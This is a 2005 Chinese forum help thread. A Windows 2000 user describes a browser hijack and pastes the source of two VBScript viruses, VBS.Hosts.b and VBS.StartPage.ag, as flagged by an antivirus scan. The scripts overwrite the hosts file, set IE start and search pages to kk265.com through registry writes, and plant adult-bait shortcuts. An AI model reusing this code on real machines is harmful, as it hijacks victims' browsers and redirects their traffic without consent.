[求助]系统_CCNP学习资料_思科认证 - 雏鹰部落

寒雪发表于 2005-4-20 18:13:32

[求助]系统

在WIN2000 PRO无论什么用户启动，一进入系统就启动DOS，后IE也自动启动，且为指定网站。是什么原因？

寒雪发表于 2005-4-26 22:23:57

脚本病毒名: VBS.Hosts.b ====================== 脚本内容: on error resume next set fso=CreateObject("Scripting.FileSystemObject") function EagleGetHosts() EagleFolder1=fso.GetSpecialFolder(0) EagleFolder2=fso.GetSpecialFolder(1) if instr(lcase(EagleFolder2),"system32")>1 then EagleGetHosts=EagleFolder1&"\system32\drivers\etc\hosts" else EagleGetHosts=EagleFolder1&"\hosts" end if end functionfunction EagleRunHosts(ip,domain) EagleContent="127.0.0.1　　　localhost"&chr(13)&chr(10) For i=1 to 910 if instr(domain,";")>1 then eagledomain=mid(domain,1,instr(domain,";")-1) domain=mid(domain,instr(domain,";")+1) end if EagleContent=EagleContent+ip&"     "&eagledomain&chr(13)&chr(10) NextEagleFile=EagleGetHosts() Set f = fso.CreateTextFile(EagleFile, True) f.Write(EagleContent) f.close end function 脚本病毒名: VBS.StartPage.ag ====================== 脚本内容: Public sucess sucess = 0Function SetREG()  On Error Resume Next  bugs.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "<A href="http://www.kk265.com/">http://www.kk265.com/</A>"  bugs.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "<A href="http://www.kk265.com/">http://www.kk265.com/</A>"  bugs.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Search Page", "<A href="http://www.kk265.com/">http://www.kk265.com/</A>"  bugs.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\default_page_url", "<A href="http://www.kk265.com/">http://www.kk265.com/</A>"  bugs.RegWrite "HKCU\Software\Microsoft\Internet Explorer\TypedURLs\url1","<A href="http://www.kk265.com/">http://www.kk265.com/</A>"  bugs.RegWrite "HKCU\Software\Microsoft\Internet Explorer\TypedURLs\url2","<A href="http://www.kk265.com/">http://www.kk265.com/</A>"  bugs.RegWrite "HKCU\Software\Microsoft\Internet Explorer\TypedURLs\url3","<A href="http://www.kk265.com/">http://www.kk265.com/</A>"  bugs.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\First Home Page","<A href="http://www.kk265.com/">http://www.kk265.com/</A>"  If err.number<>0 Then   setreg = false  Else   setreg = true  End If End FunctionFunction AddFav(N, U)  On Error Resume Next  Set S = wsh.CreateShortcut(wsh.SpecialFolders("Favorites") + "/" + N +".URL")  S.TargetPath = U   S.Save()  Set Sl = wsh.CreateShortcut(wsh.SpecialFolders("Favorites") + "/链接/" + N +".URL")  Sl.TargetPath = U  Sl.Save()  If err.number<>0 Then   AddFav = false  Else   AddFav = true  End If End FunctionFunction AddDesktop(N, U)  on error resume next  Set S = wsh.CreateShortcut(wsh.SpecialFolders("AllUsersDesktop") + "/" + N +".URL")  S.TargetPath = U   S.Save()  If err.number<>0 Then   AddDesktop = false  Else   AddDesktop = true  End If End FunctionSub FF()  If AddFav("美女图片","<A href='http://www.kk265.com")=true'>http://www.kk265.com")=true</A> And AddFav("裸体美女图库","<A href='http://www.kk265.com")=true'>http://www.kk265.com")=true</A> And AddDesktop("美女、铃声下载","<A href="http://www.kk265.com">http://www.kk265.com</A>") = True And setreg()=true Then   sucess=0   window.close()  End If End Sub

寒雪发表于 2005-4-26 22:30:22

我用金山毒霸查了。查了结果如上。 我把病毒原都删了，REGEDIT.EXE里面项我都改了。但WIN2000系统一启动，进入系统就先自动启动DOS，后便自动打开腾讯、IE，并且主页为特定网站。 请各位兄长们帮忙一下！！

Jeff0310 发表于 2005-4-20 23:20:07

看看程序->启动,里有没有东东,有就删了,再用优化清空所有的上网痕迹看看

inkcloud 发表于 2005-4-22 17:51:45

难道是中毒？？呵呵～～估计不是什么大问题吧

寒雪发表于 2005-4-22 20:13:57

？？？

页: [1]

雏鹰部落's Archiver

[求助]系统